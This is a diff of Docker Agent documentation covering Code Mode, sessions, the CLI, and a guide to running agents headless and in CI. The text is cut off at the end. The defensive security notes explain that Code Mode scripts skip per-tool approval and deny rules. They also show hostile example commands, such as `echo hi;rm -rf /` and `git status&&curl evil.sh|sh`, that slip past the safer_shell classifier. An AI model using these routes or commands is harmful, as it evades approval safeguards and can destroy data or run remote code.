diff --git a/docs/configuration/agents/index.md b/docs/configuration/agents/index.md index 7812438c33..a55790fb29 100644 --- a/docs/configuration/agents/index.md +++ b/docs/configuration/agents/index.md @@ -32,7 +32,7 @@ agents: add_prompt_files: [list] # Optional: include additional prompt files add_description_parameter: bool # Optional: add description to tool schema redact_secrets: boolean # Optional: scrub detected secrets out of tool args, outgoing chat messages, and tool output - code_mode_tools: boolean # Optional: enable code mode tool format + code_mode_tools: boolean # Optional: let the agent write JavaScript to orchestrate tool calls (see Code Mode) max_iterations: int # Optional: max tool-calling loops max_consecutive_tool_calls: int # Optional: max identical consecutive tool calls max_old_tool_call_tokens: int # Optional: token budget for old tool call content (disabled unless positive) @@ -96,7 +96,7 @@ agents: | `add_prompt_files` | array | ✗ | List of file paths whose contents are appended to the system prompt. Useful for including coding standards, guidelines, or additional context. | | `add_description_parameter` | boolean | ✗ | When `true`, adds agent descriptions as a parameter in tool schemas. Helps with tool selection in multi-agent scenarios. | | `redact_secrets` | boolean | ✗ | When `true`, scrubs detected secrets (API keys, tokens, private keys, etc.) out of tool-call arguments, outgoing chat messages, and tool output before they reach a tool, the model, or downstream consumers. See [Redacting Secrets](#redacting-secrets) below. | -| `code_mode_tools` | boolean | ✗ | When `true`, formats tool responses in a code-optimized format with structured output schemas. Useful for MCP gateway and programmatic access. | +| `code_mode_tools` | boolean | ✗ | When `true`, replaces the agent's individual tools with a single tool that runs a JavaScript script calling as many of them as needed in one turn. See [Code Mode](../../features/code-mode/index.md). | | `max_iterations` | int | ✗ | Maximum number of tool-calling loops. Default: unlimited (0). Set this to prevent infinite loops. | | `max_consecutive_tool_calls` | int | ✗ | Maximum consecutive identical tool calls before the agent is terminated, preventing degenerate loops. Default: `5`. | | `max_old_tool_call_tokens` | int | ✗ | Maximum number of tokens to keep from old tool call arguments and results. Older tool calls beyond this budget have their content replaced with a placeholder, saving context space. Tokens are approximated as `len/4`. Truncation is disabled by default; set a positive value to enable it. Set to `-1` to disable truncation (unlimited). | diff --git a/docs/configuration/permissions/index.md b/docs/configuration/permissions/index.md index 42e27d2e92..4c645e7d24 100644 --- a/docs/configuration/permissions/index.md +++ b/docs/configuration/permissions/index.md @@ -104,7 +104,7 @@ Permissions support glob-style patterns with optional argument matching: | -------------- | ------------------------------ | | `shell` | Exact match for `shell` tool | | `read_*` | Any tool starting with `read_` | -| `mcp:github:*` | Any GitHub MCP tool | +| `github_*` | Any GitHub MCP tool | | `*` | All tools | ### Argument Matching @@ -219,13 +219,13 @@ Control MCP tools by their qualified names: permissions: allow: # Allow all GitHub read operations - - "mcp:github:get_*" - - "mcp:github:list_*" - - "mcp:github:search_*" + - "github_get_*" + - "github_list_*" + - "github_search_*" deny: # Block destructive GitHub operations - - "mcp:github:delete_*" - - "mcp:github:close_*" + - "github_delete_*" + - "github_close_*" ``` ## Combining with Hooks diff --git a/docs/data/nav.yml b/docs/data/nav.yml index be5b9f460f..fd52fdacc8 100644 --- a/docs/data/nav.yml +++ b/docs/data/nav.yml @@ -122,6 +122,8 @@ url: /features/snapshots/ - title: Kanban Board url: /features/board/ + - title: Sessions + url: /features/sessions/ - title: CLI Reference url: /features/cli/ - title: MCP Mode @@ -140,6 +142,8 @@ url: /features/evaluation/ - title: Skills url: /features/skills/ + - title: Code Mode + url: /features/code-mode/ - title: Remote MCP Servers url: /features/remote-mcp/ @@ -220,6 +224,8 @@ url: /guides/go-sdk/ - title: Managing Context & Compaction url: /guides/compaction/ + - title: Running Agents Headless & in CI + url: /guides/headless/ - label: Community items: - title: Contributing diff --git a/docs/features/cli/index.md b/docs/features/cli/index.md index 506839fa42..f9b6b9bb29 100644 --- a/docs/features/cli/index.md +++ b/docs/features/cli/index.md @@ -30,14 +30,14 @@ $ docker agent run [config] [message...] [flags] | `-a, --agent ` | Run a specific agent from the config | | `--yolo` | Auto-approve tool calls (unless explicitly denied) | | `--model ` | Override model(s). Use `provider/model` for all agents, or `agent=provider/model` for specific agents. Comma-separate multiple overrides. | -| `--session ` | Resume a previous session. Supports relative refs (`-1` = last, `-2` = second to last). An explicit ID that does not exist yet is created with that ID, so a supervisor can own the session ID upfront and reuse it across runs. | +| `--session ` | Resume a previous session. Supports relative refs (`-1` = newest by creation time, `-2` = second-newest, … — creation order, not last-used). An explicit ID that does not exist yet is created with that ID, so a supervisor can own the session ID upfront and reuse it across runs. | | `-s, --session-db ` | Path to the SQLite session database (default: `/session.db`, so `~/.cagent/session.db` unless `--data-dir` is set) | | `--session-read-only` | Open the TUI in read-only mode: conversation history is displayed but no new messages can be sent to the LLM. Cannot be used with `--exec`. | | `--prompt-file ` | Include file contents as additional system context (repeatable) | | `--attach ` | Attach an image file to the initial message | | `--dry-run` | Initialize the agent without executing anything (useful for validating a config) | -| `--remote ` | Use a remote runtime at the given address instead of running the agent locally | -| `--listen ` | Expose this run's control plane over HTTP so an external process can drive the running TUI (send follow-ups, stream events, read the title). Accepts `host:port` or `unix://`, `npipe://`, `fd://`. See the [API Server](../api-server/index.md#listen). | +| `--remote ` | Use a remote runtime at the given address instead of running the agent locally. Mutually exclusive with `--sandbox`, `--worktree`, `--worktree-pr`, `--worktree-base`, `--session`, `--session-db`, `--record`, and `--fake` — a remote runtime owns its own session storage and execution environment, so these local-only concerns don't apply. | +| `--listen ` | Expose this run's control plane over HTTP so an external process can drive the running TUI (send follow-ups, stream events, read the title). Accepts `host:port` or `unix://`, `npipe://`, `fd://`. Hidden from `docker agent run --help` — like `debug`, it's a stable but advanced/automation-oriented flag rather than a day-to-day one. See the [API Server](../api-server/index.md#listen) guide for the full walkthrough. | | `--lean` | Use a simplified, non-alternate-screen TUI. Unlike the default full-screen TUI, this renders inline in the normal terminal buffer — useful in environments where an alternate screen is unwanted (e.g. inside tmux panes, CI with a tty, or log-friendly pipelines). Displays an ASCII art banner on startup. | | `--app-name ` | Override the application name label shown in the TUI (status bar, window title, "/exit" notifications). | | `--sidebar` | Control sidebar visibility. Set to `--sidebar=false` to hide the sidebar and disable the Ctrl+B toggle (default: `true`). | @@ -177,6 +177,16 @@ $ docker agent new --model openai/gpt-5 $ docker agent new --model dmr/ai/gemma3-qat:12B --max-iterations 15 ``` +### `docker agent getting-started` + +Run a short (about 2 minutes), skippable interactive tour inside the chat UI: sending messages, approving tool calls, the command palette (Ctrl+K), slash commands, and how agents are configured. Aliased as `docker agent tour`. Requires an interactive terminal. + +```bash +$ docker agent getting-started +``` + +Replay it anytime with this command, or with the `/getting-started` slash command inside a running TUI session. + ### `docker agent models` List models available for use with `--model`. By default only shows models for providers you have credentials for. Aliases: `docker agent models list`, `docker agent models ls`. @@ -577,6 +587,72 @@ $ docker agent sandbox deny api.example.com Entries are unioned with the gateway, the kit-resolved tool install hosts, and any `runtime.network_allowlist` declared by the agent. The launch summary lists every source separately so you can see which holes were punched by which layer. +### `docker agent debug` + +Troubleshooting subcommands for inspecting how an agent config resolves and generating diagnostic output — useful when a config isn't behaving the way you expect. `debug` doesn't appear in `docker agent --help` (it's a diagnostic surface, not a day-to-day command), but every subcommand below is stable and fully supported. + +```bash +$ docker agent debug [flags] +``` + +| Subcommand | Description | +| ---------- | ----------- | +| `config ` | Print the fully-resolved, canonical form of an agent's configuration (defaults applied, references resolved). | +| `toolsets ` | List every toolset each agent in the config exposes, with each tool's name and description. | +| `skills ` | List the skills discovered for each agent, marking forked skills. | +| `title ` | Generate a session title for `` using the same title-generation path the TUI uses (including any configured `title_model`), without starting a session. See [Session Titles](../sessions/index.md#session-titles). | +| `auth` | Print parsed Docker Desktop authentication info from the locally stored JWT (subject, issuer, expiry, username/email). Add `--json` for machine-readable output. | +| `oauth list` | List stored MCP OAuth tokens (resource, scope, expiry, redacted access token). Add `--json` for machine-readable output. | +| `oauth remove ` | Remove a stored MCP OAuth token. | +| `oauth login ` | Perform an interactive OAuth login for a remote MCP server declared in the config, by its name or URL. See [Remote MCP Servers](../remote-mcp/index.md). | + +```bash +# Examples +$ docker agent debug config agent.yaml +$ docker agent debug toolsets agent.yaml +$ docker agent debug skills agent.yaml +$ docker agent debug title agent.yaml "How do I configure a fallback model?" +$ docker agent debug auth --json +$ docker agent debug oauth list +$ docker agent debug oauth login agent.yaml github +``` + +> [!WARNING] +> **`debug auth --json` prints the full bearer token** +> +> The text output of `debug auth` truncates the token to a short preview, but `--json` includes the complete, unredacted JWT in its `token` field. Never paste `debug auth --json` output into logs, issue trackers, or bug reports — anyone with that token can act as you against Docker Desktop's backend. Use the plain-text output (or redact the `token` field yourself) when sharing diagnostic output. + +The `config`, `toolsets`, `skills`, and `title` subcommands also accept [runtime configuration flags](#runtime-configuration-flags) (`--working-dir`, `--models-gateway`, …); `title` additionally accepts `--model` to override the model used to resolve the config before generating the title. + +### `docker agent completion` + +Generate a shell completion script for `bash`, `zsh`, `fish`, or `powershell`. + +```bash +$ docker agent completion + +# Examples +# Bash: load for the current session +$ source <(docker agent completion bash) + +# Zsh: install permanently (adjust the path for your $fpath) +$ docker agent completion zsh > "${fpath[1]}/_docker-agent" +``` + +Run `docker agent completion --help` for shell-specific installation instructions. + +### Self-update + +When installed from a standalone GitHub release binary, Docker Agent can opt in to updating itself. It's disabled by default; set `DOCKER_AGENT_AUTO_UPDATE` to a truthy value (`1`, `true`, `yes`, `on`) to enable it for a command or a shell session: + +```bash +$ DOCKER_AGENT_AUTO_UPDATE=1 docker agent run +``` + +When enabled, every command checks the latest GitHub release before running. If a newer release exists, an interactive session asks whether to install it; a non-interactive session (CI, piped input) proceeds automatically. On yes, Docker Agent downloads the asset for your OS/architecture, verifies its checksum, replaces the current binary, and re-executes with the same arguments. The whole mechanism is fail-safe: any failure at any step falls back to running the current binary. Self-update never triggers for `version`, `help`, `--help`/`-h` (including per-subcommand help), `completion`, or the Docker CLI plugin metadata handshake. + +See [Optional Self-Updates](../../getting-started/installation/index.md#optional-self-updates) for the full walkthrough. Docker Desktop and Homebrew installs already manage updates and don't need this. + ## Global Flags These flags are available on every `docker agent` command: @@ -616,6 +692,7 @@ These flags are accepted by every command that loads an agent (`run`, `run --exe | `--hook-session-end ` | Add a session-end hook command (repeatable). | | `--hook-on-user-input ` | Add an on-user-input hook command (repeatable). | | `--hook-stop ` | Add a stop hook command, fired when the model finishes responding (repeatable). | +| `--mcp-oauth-redirect-uri ` | Public HTTPS URL to advertise as the OAuth `redirect_uri` for MCP servers running in unmanaged OAuth mode. When set, docker-agent drives PKCE and the code exchange in-process instead of expecting the client to. See [Remote MCP](../remote-mcp/index.md) for details. | ## Agent References diff --git a/docs/features/code-mode/index.md b/docs/features/code-mode/index.md new file mode 100644 index 0000000000..0eadb4fa7f --- /dev/null +++ b/docs/features/code-mode/index.md @@ -0,0 +1,66 @@ +--- +title: "Code Mode" +description: "Let an agent write JavaScript that orchestrates several tool calls in one turn instead of calling tools one at a time." +keywords: docker agent, ai agents, features, code mode +weight: 115 +canonical: https://docs.docker.com/ai/docker-agent/features/code-mode/ +--- + +_Let an agent write JavaScript that orchestrates several tool calls in one turn instead of calling tools one at a time._ + +## What Code Mode Is + +By default, a model calls one tool at a time: it emits a tool call, waits for the result, then decides what to call next. For a task that chains many tool calls together — "list every open issue, then for each one fetch its comments, then summarize" — that means one model round-trip per step. + +**Code Mode** replaces the agent's individual tools with a single tool, `run_tools_with_javascript`, that runs a JavaScript script. Every tool the agent would otherwise call directly is exposed to that script as a plain JavaScript function (synchronous — no `await`/`async` needed). The model writes a script that calls as many of them as it needs, combines and filters the results, and returns a single string — all in one tool call. + +## Enabling Code Mode + +Set `code_mode_tools: true` on an agent: + +```yaml +# examples/code_mode.yaml +agents: + root: + model: anthropic/claude-sonnet-4-5 + description: Demonstrates the use of Code Mode with tools + instruction: Use your tool to help the user with their github requests. + code_mode_tools: true + commands: + demo: How many issues in docker/docker-agent have a number that is prime? + toolsets: + - type: mcp + ref: docker:github-official +``` + +Every toolset configured on the agent (the GitHub MCP server here) is wrapped: the model no longer sees the individual GitHub tools, only `run_tools_with_javascript`, with each wrapped tool documented as a JSDoc-commented function signature inside its description. + +To force Code Mode for every agent in a run regardless of their individual config, use the `--code-mode-tools` CLI flag (or the equivalent `--code-mode-tools` [runtime configuration flag](../cli/index.md#runtime-configuration-flags), accepted by `run`, `run --exec`, `serve api`, `serve mcp`, and the other commands that load an agent): + +```bash +$ docker agent run agent.yaml --code-mode-tools +``` + +## When It Helps + +Code Mode is worth enabling when an agent's task typically needs **many tool calls chained together**, especially with conditional logic or filtering in between — for example, paging through a large result set, cross-referencing several API calls, or reducing a large payload down to the few fields the model actually needs before it ever sees them. Each of those becomes one model turn instead of many, which cuts both latency and token spend on tool-call/response round-trips. + +It is not a general-purpose replacement for direct tool calls: for an agent that mostly makes one or two independent tool calls per turn, Code Mode adds the overhead of writing and reasoning about a script for no real benefit. + +## Limits & Security Notes + +- **One string result.** The script must return a string; use `console.*` inside the script to print debug information if something doesn't behave as expected — it comes back as `stdout`/`stderr` alongside the result. +- **Failures are diagnosable.** If the script throws or returns unexpectedly, the response includes the tool calls it made before failing (name, arguments, and result or error), so the model can see what happened and adjust the script on the next attempt. +- **Not every tool is wrapped.** Tools in the `todo` category are excluded from the script environment and stay directly callable as ordinary tools — Code Mode does not replace them. +- **The script runs in an embedded, sandboxed JS engine** ([goja](https://github.com/dop251/goja)), not Node.js or a browser: there is no filesystem, network, or process access beyond the tool functions injected into it. + +## Interaction With Permissions and Tool Approval + +[Permissions](../../configuration/permissions/index.md) and interactive tool-call approval are enforced when the **runtime dispatches a tool call requested by the model** — which, with Code Mode enabled, is only `run_tools_with_javascript` itself. The individual tool calls a script makes from inside that JavaScript are invoked directly and do **not** go through a second round of permission checks or approval prompts. + +In practice this means enabling `code_mode_tools` collapses the approval granularity from "one prompt per tool call" down to "one prompt for the whole script". Treat that single approval as authorizing everything the script's toolset could do: + +> [!WARNING] +> **Coarser approval granularity** +> +> Approving a `run_tools_with_javascript` call approves every tool it might invoke internally, including ones that would otherwise need a separate `ask` or be blocked by a `deny` pattern under [Permissions](../../configuration/permissions/index.md). If an agent's toolset includes anything destructive, consider whether Code Mode's coarser granularity is acceptable for that agent before enabling it. Delegating to a separate, non-Code-Mode agent isn't a way out either: [handoff](../../tools/handoff/index.md) and [transfer_task](../../tools/transfer-task/index.md) are themselves wrapped like any other tool once `code_mode_tools` is on, but they have no code-mode-compatible handler — the model's script gets `tool "handoff" is not available in code mode` if it tries to call them. This only rules out the model *choosing* to delegate from inside the script: a configured `force_handoff` target on the agent still runs deterministically after the agent's turn naturally stops, regardless of Code Mode, since it's applied by the runtime outside the tool-call dispatch path Code Mode replaces. Keep `code_mode_tools` off any agent whose model needs to hand off or transfer to one that holds a destructive toolset. diff --git a/docs/features/sessions/index.md b/docs/features/sessions/index.md new file mode 100644 index 0000000000..dd264814b4 --- /dev/null +++ b/docs/features/sessions/index.md @@ -0,0 +1,135 @@ +--- +title: "Sessions" +description: "How Docker Agent stores conversations, resumes them across runs, and tracks their token cost." +keywords: docker agent, ai agents, features, sessions +weight: 25 +canonical: https://docs.docker.com/ai/docker-agent/features/sessions/ +--- + +_How Docker Agent stores conversations, resumes them across runs, and tracks their token cost._ + +## What a Session Is + +Every `docker agent run` creates or resumes a **session**: the record of a conversation, including every message, tool call, sub-agent run, and cost. Sessions are what makes `/undo`, `/sessions`, `--session `, and cost tracking possible — the agent itself is stateless between runs, but the session is not. + +A session is only persisted to disk once it has content (the first message added), so a run you cancel before sending anything never leaves an empty session behind. + +## Where Sessions Are Stored + +Sessions live in a SQLite database, `session.db`, under the [data directory](../cli/index.md#global-flags) (`~/.cagent` by default): + +```bash +$ ls ~/.cagent/session.db +``` + +Override the location with `-s`/`--session-db`, or by overriding the data directory itself with `--data-dir`: + +```bash +# Use a project-local session database instead of the global one +$ docker agent run agent.yaml --session-db ./sessions.db +``` + +## Resuming a Session + +Pass `--session ` to continue a previous conversation instead of starting a new one: + +```bash +# Resume by explicit session ID +$ docker agent run agent.yaml --session 3f9c1e2a-... + +# Resume the most recently created session +$ docker agent run agent.yaml --session -1 + +# Resume the session created before that one +$ docker agent run agent.yaml --session -2 +``` + +`--session` accepts two kinds of reference: + +- **A relative offset** (`-1`, `-2`, …): sessions are ordered by **creation time**, newest first — `-1` is the most recently *created* session, `-2` the one created before it, and so on. This is creation order, not last-used order: resuming an older session with `--session ` does not make it the new `-1`; the next `-1` still resolves to whichever session was created most recently. A relative offset that has no matching session (for example `-1` with an empty database) is an error. +- **An explicit ID**: if a session with that ID already exists, it is resumed. If it doesn't exist yet, docker agent **creates it with that ID** instead of failing. This lets a supervisor (for example a board or a script) choose a session ID up front and reuse it across runs — the first run creates the session, later runs resume it. + +## Read-Only Sessions + +Add `--session-read-only` to open a session for viewing without sending new messages — useful for reviewing a past conversation without accidentally continuing it: + +```bash +$ docker agent run agent.yaml --session -1 --session-read-only +``` + +`--session-read-only` requires the TUI: it cannot be combined with `--exec`, since there would be nothing to display without one. + +## Browsing Sessions in the TUI + +Press `/sessions` to open the session browser: search and filter past conversations, see which ones were started in the current working directory ("This workspace") versus elsewhere ("Other locations"), and restore one with Enter. Restoring a session reopens it in its original working directory. See [Session Management](../tui/index.md#session-management) in the Terminal UI docs for the full set of session-browser and session-title features (starring, branching by editing a past message, and so on). + +### Tabs + +Ctrl+T opens a new tab running an additional agent session alongside the current one; Ctrl+N/Ctrl+P cycle between tabs and Ctrl+W closes the current one. By default, tabs are not restored the next time you launch the TUI. Set `restore_tabs: true` in your user config to reopen the same tabs (and their sessions) on the next launch: + +```yaml +# ~/.config/cagent/config.yaml +settings: + restore_tabs: true +``` + +## Session Titles + +Docker Agent auto-generates a short title for each session from your first message, using a one-shot call to the agent's own model. Point that call at a smaller, cheaper model instead with `title_model` on a model definition: + +```yaml +# examples/title_model.yaml +models: + primary: + provider: anthropic + model: claude-sonnet-4-5 + # Generate session titles with the cheaper Haiku model instead of Sonnet. + title_model: fast + fast: + provider: anthropic + model: claude-haiku-4-5 + +agents: + root: + model: primary + description: An assistant that generates session titles with a cheaper model. + instruction: You are a helpful assistant. +``` + +When `title_model` is omitted, title generation reuses the agent's own model. Set or regenerate a title from inside the TUI with `/title` (see [Session Title Editing](../tui/index.md#session-title-editing)) — regenerating sends every user message in the session so far, not just the first — or generate one from the command line without starting a session at all: + +```bash +$ docker agent debug title agent.yaml "How do I configure a fallback model?" +``` + +See [`docker agent debug title`](../cli/index.md#docker-agent-debug) for details. + +## Usage & Cost Tracking + +Every tracked model call — the main conversation turns and compaction calls — updates the session's cumulative input/output token counts and cost. Check them at any time with `/cost` in the TUI, or disable tracking per-model with `track_usage: false` if you don't want a model's calls counted (for example, a free local model). Auxiliary one-shot calls the runtime makes on your behalf, such as automatic session-title generation, call the model directly and are not folded into this total. + +Cost is computed from the [models.dev](https://models.dev/) pricing catalogue by default. For a custom endpoint, a private deployment, or a negotiated enterprise rate the catalogue doesn't know about, declare pricing explicitly with a model's `cost:` block: + +```yaml +# examples/custom-pricing.yaml +models: + internal-gpt: + provider: internal-llm + model: gpt-4o + cost: + input: 1.25 # USD per 1M input tokens + output: 5.00 # USD per 1M output tokens + cache_read: 0.125 # USD per 1M cached input tokens + cache_write: 1.5625 # USD per 1M cache-write tokens +``` + +An all-zero `cost:` table means "priced, free" — distinct from a model with no `cost:` at all, which falls back to the catalogue (and bills $0 for models the catalogue doesn't know). + +> [!NOTE] +> **Cost never decreases** +> +> A session's cumulative cost is a running total updated after every *tracked* model call — the same main conversation turns and compaction calls described above. Compacting the conversation (manually with `/compact`, or automatically — see the agent's `session_compaction`/`compaction_threshold` fields in the [Agent Config reference](../../configuration/agents/index.md)) reshapes the message history sent back to the model, but never touches this running total. Auxiliary one-shot calls such as automatic session-title generation are not tracked and are not reflected in this total: `/cost` covers everything the session's tracked calls have spent, not literally every model call the runtime makes on your behalf. + +## Resuming Into a Worktree + +A session created during a `--worktree` run remembers which worktree it used. Resuming it with `--session` reattaches to the same worktree directory and branch automatically — you don't need to pass `--worktree` again. See [`--worktree`](../cli/index.md#docker-agent-run) in the CLI reference for the full worktree lifecycle. diff --git a/docs/guides/headless/index.md b/docs/guides/headless/index.md new file mode 100644 index 0000000000..9a5b096a12 --- /dev/null +++ b/docs/guides/headless/index.md @@ -0,0 +1,187 @@ +--- +title: "Running Agents Headless & in CI" +description: "Run Docker Agent without a TUI: structured JSON output, event hooks, sandboxed CI isolation, and a GitHub Actions example." +keywords: docker agent, ai agents, guides, headless, ci, github actions, sandbox +weight: 50 +canonical: https://docs.docker.com/ai/docker-agent/guides/headless/ +--- + +_Run Docker Agent without a TUI: structured JSON output, event hooks, sandboxed CI isolation, and a GitHub Actions example._ + +## `--exec` Mode Basics + +`--exec` runs an agent without the interactive TUI: output goes to stdout and the process exits when the conversation is done. It's the mode to use in scripts, CI, and any context without a terminal. + +```bash +# One-shot task, message as an argument +$ docker agent run --exec agent.yaml "Summarize the open issues in this repo" + +# Pipe the message via stdin instead +$ echo "Summarize the open issues in this repo" | docker agent run --exec agent.yaml - + +# Multiple messages are processed as a multi-turn conversation, in order +$ docker agent run --exec agent.yaml "question 1" "question 2" "question 3" +``` + +See [`docker agent run --exec`](../../features/cli/index.md#docker-agent-run---exec) for the full flag reference. + +## Structured Output for Machines + +Two independent things make an `--exec` run's output easy to parse: how the transcript is emitted, and what shape the model's own answer takes. + +**`--json`** switches the transcript itself from human-readable text to newline-delimited JSON: one JSON object per runtime event (messages, tool calls, tool results, errors, …), instead of formatted text interleaved with tool-call boxes. Pipe it into `jq` or any NDJSON-aware log processor: + +```bash +$ docker agent run --exec agent.yaml --json "List the 5 largest files in this repo" | jq -c 'select(.type == "agent_choice")' +``` + +**`structured_output`** constrains the *model's own response* to a JSON schema you define on the agent, independent of `--json`. Use it when downstream code needs the model's answer in a predictable shape (a list of findings, a classification, …) rather than free-form prose. See [Structured Output](../../configuration/structured-output/index.md) for the full field reference — combine it with `--json` in `--exec` to get both a parseable transcript and a schema-validated final answer. + +## Reacting to Events + +`--on-event =` runs a shell command whenever an event of the given type fires, with the event's JSON payload piped to the command's stdin. Use `*=` to match every event type. The flag is repeatable. + +> [!WARNING] +> **`--on-event` does nothing under `--exec`** +> +> Event hooks are installed on the interactive App's event bus. A `docker agent run --exec` run returns before that wiring happens, so `--on-event` is silently a no-op there — no error, no hook ever runs. Use `--on-event` with a normal interactive run or `--lean` (which still installs hooks; it just skips the alternate screen). For a headless `--exec` run, get the same effect by parsing the `--json` NDJSON stream yourself and shelling out on the events you care about — for example `stream_stopped`, which fires when a turn ends normally. + +```bash +# Post a Slack notification when the agent finishes a turn (interactive or --lean only) +$ docker agent run agent.yaml --lean --on-event stream_stopped="./notify-slack.sh" "Fix the failing test" + +# Log every event to a file for later inspection +$ docker agent run agent.yaml --lean --on-event "*=cat >> events.ndjson" "Fix the failing test" + +# Headless equivalent: capture the --json NDJSON stream, then react to it yourself +$ docker agent run --exec agent.yaml --json "Fix the failing test" | tee events.ndjson +$ jq -e 'select(.type == "stream_stopped")' events.ndjson >/dev/null && ./notify-slack.sh +``` + +Hooks run asynchronously and are never waited on: each is spawned detached from the run's own context, and the process exits (`os.Exit`) as soon as the run finishes without waiting for, or signaling, any hook subprocess still in flight. A hook's own failure is logged but never fails the run — and, independent of that, its fate at process exit is unspecified: it may keep running as an orphaned process, or it may be torn down by whatever supervises the job (a CI runner tearing down its container, a shell killing its process group, …), depending on your environment rather than on anything docker-agent guarantees. Don't rely on `--on-event` for anything that must demonstrably finish before the process exits; have the hook script itself detach (e.g. `nohup`/`disown`) and/or write its own completion marker if you need proof it ran. + +## Running Unattended in CI + +Interactively, the TUI prompts for confirmation before a tool call runs unless it's covered by an `allow` permission pattern. There's no one to answer that prompt in CI, so an unattended `--exec` run needs an explicit policy for what may run without asking — otherwise every tool call the model attempts is rejected outright (there's no stdin to prompt, so `--exec` without one just answers "no" on your behalf; see [`--json`'s auto-reject behavior](#structured-output-for-machines) above). + +Two different questions come up here, and it's worth keeping them separate: + +- **What is allowed to run without asking?** — `--yolo`, permission allow-lists, and the `safer_shell` classifier all answer this. +- **What happens if the model runs something it shouldn't have?** — only `--sandbox` answers that one. The rest of this section explains why, and treats that distinction as the whole point. + +### `--sandbox`: the isolation boundary + +For an untrusted or autonomous agent — anything acting without a human watching approvals — **`--sandbox` is the isolation boundary to reach for**, not a cleverer allow-list. It runs the entire agent, shell calls included, inside a Docker sandbox VM: a misbehaving or successfully-prompt-injected agent can't touch anything outside the mounted working directory or reach other host/CI state, regardless of which command it runs. That VM isn't disposable or ephemeral — a sandbox matching the current workspace and mount set is retained and reused across subsequent runs rather than torn down when the session ends (see [How It Works](../../configuration/sandbox/index.md#how-it-works)). See [Sandbox Mode](../../configuration/sandbox/index.md) for the full flag reference, requirements (Docker Desktop or the `sbx` CLI), and how the network allowlist and kit staging work. + +```bash +$ docker agent run --sandbox --exec agent.yaml --json "Fix the failing test" +``` + +Because the blast radius is contained by the VM boundary, `--sandbox` also makes unattended operation reasonable in CI — and it defaults to exactly that: unless you already passed a `--yolo` flag of your own, `--sandbox` injects `--yolo` for the agent process it runs inside the VM, so the command above already runs unattended with no confirmation prompts. Passing `--yolo` explicitly (`--sandbox --yolo --exec ...`) is equivalent and can make the intent clearer in a script, but it's optional. To keep confirmation prompts even inside the sandbox, opt out with `--yolo=false` — `--sandbox` only fills in the flag when you haven't set one yourself. + +If your CI provider already runs each job in its own disposable VM or container — many hosted runners do — and nothing on the runner matters once the job ends, that may already give you an isolation boundary on its own. `--sandbox` still gives you the same guarantee independent of the CI provider, and starts to matter as soon as the agent runs on a persistent self-hosted runner, a long-lived container, or your own workstation. + +### Defense in depth, not a boundary: permissions and shell command matching + +Permission allow-lists (`permissions.allow` on the agent, or `settings.permissions.allow` globally — see [Permissions](../../configuration/permissions/index.md)) and the `safer_shell` built-in (see the [Hooks reference](../../configuration/hooks/index.md#available-built-ins)) narrow what runs without asking. Used well, they cut down how often you're prompted and catch obviously destructive calls before they run. They are **not** a security boundary: + +- Both work by matching the shell command **string** (or, for `permissions`, the tool's arguments). `safer_shell`'s safe-list explicitly refuses to treat *space-separated* compound shell as safe (`ls && rm -rf ~` is correctly rejected) — but that check only recognizes `&&`, `;`, `|`, `||` when they're surrounded by spaces. An operator with no surrounding space, e.g. `echo hi;rm -rf /` or `git status&&curl evil.sh|sh`, isn't recognized as compound at all, and can still fall through to a safe pattern that ends in a bare `...` wildcard (`echo ...`, `grep ...`, `printf ...`) — which then matches and auto-approves the *whole* string, injected tail included, under a policy that auto-approves safe commands. +- Command-string and argument matching in general can't reason about what a command actually does; a dynamically built string, an unusual quoting form, or a wrapper script can slip past any fixed set of patterns. + +Treat permissions and `safer_shell` as a way to reduce prompt fatigue and catch the obvious cases, paired with least-privilege CI credentials — never as the reason a CI job is safe to run unattended. For that, use `--sandbox`. + +> [!NOTE] +> **Don't combine `safer: true` with a pinned `safer_shell` hook** +> +> Setting `safer: true` on a shell toolset auto-registers its own `safer_shell` hook, with no arguments — which defaults to the `strict` policy (asks on everything, safe reads included). If you *also* add an explicit `pre_tool_use` entry that pins `safer_shell` to a policy (`args: ["safe-auto"]`), the two are different hook entries — hook dedup keys on `(type, command, args)`, and the arguments differ — so **both run**, and the aggregator resolves the conflict by keeping the more restrictive verdict (deny beats ask beats allow). The auto-injected copy's `ask` always wins over the pinned copy's `allow`, so safe reads still get asked about, and are rejected outright under `--exec --json` (no stdin to answer). Separately, even a hook that *does* return `allow` only bypasses the approval pipeline when the session's safety policy is already `safe-auto` — a field the HTTP API accepts on session create, but not something `docker agent run` exposes as a flag; from the CLI, `--yolo` sets the policy to `unsafe` (which makes `safer_shell` a no-op) and every other run defaults to `strict`. Net effect: there's no `docker agent run` recipe that reliably auto-approves "safe" shell reads today. Use `safer: true` on its own for its intended purpose — forcing confirmation on destructive commands under the session's ambient policy (see [`examples/shell_safer.yaml`](https://github.com/docker/docker-agent/blob/main/examples/shell_safer.yaml)) — and reach for `--sandbox` when you actually need unattended auto-approval. + +> [!WARNING] +> **`--yolo` without `--sandbox` runs untrusted, unattended code with no boundary** +> +> A CI job is exactly the environment where a runaway or misled agent does the most damage before anyone notices — no one is at the keyboard to catch a bad `shell` call before it runs, and, per above, a permission allow-list or `safer_shell` can't be trusted to catch everything either. If you can't add `--sandbox`, prefer a permission allow-list scoped to what the job actually needs over blanket `--yolo`, and budget for the credentials and blast radius of the agent's toolsets as if the job itself were compromised — see [`examples/permissions.yaml`](https://github.com/docker/docker-agent/blob/main/examples/permissions.yaml) for a worked allow/deny list. + +> [!NOTE] +> **A worktree is not a security boundary either** +> +> [`--worktree`](../../features/cli/index.md#docker-agent-run) isolates *which branch and checkout* the agent modifies — it gives the agent its own working directory and branch so your primary checkout stays untouched — but the shell toolset still runs as a native process on the host, and the worktree shares the repository's underlying object store with the rest of your checkouts. It's checkout isolation, not a security boundary. Only `--sandbox` provides that. + +## Providing Secrets in CI + +Never put provider API keys or MCP tokens in the agent config file. Inject them as environment variables from your CI provider's secret store, or via `--env-from-file` with a file materialized at job start. See [Managing Secrets](../secrets/index.md) for every supported method, including Docker Compose secrets and 1Password references — both of which map cleanly onto CI secret stores. + +## Disabling Telemetry + +Docker Agent's anonymous usage telemetry is enabled by default. In CI you may want it off: + +```bash +$ TELEMETRY_ENABLED=false docker agent run --exec agent.yaml "..." +``` + +See [Telemetry](../../community/telemetry/index.md) for exactly what is (and isn't) collected. + +## Example: GitHub Actions + +A bare OCI registry reference (`agentcatalog/coder`) has no local config you control, so a security-sensitive CI job should check in a small agent config instead. This example runs a checked-in review agent non-interactively against the repository being built: + +```yaml +# .github/agents/review-agent.yaml +agents: + root: + model: anthropic/claude-sonnet-4-5 + description: Reviews the changes in a pull request for bugs and security issues + instruction: Review the changes in this PR for bugs and 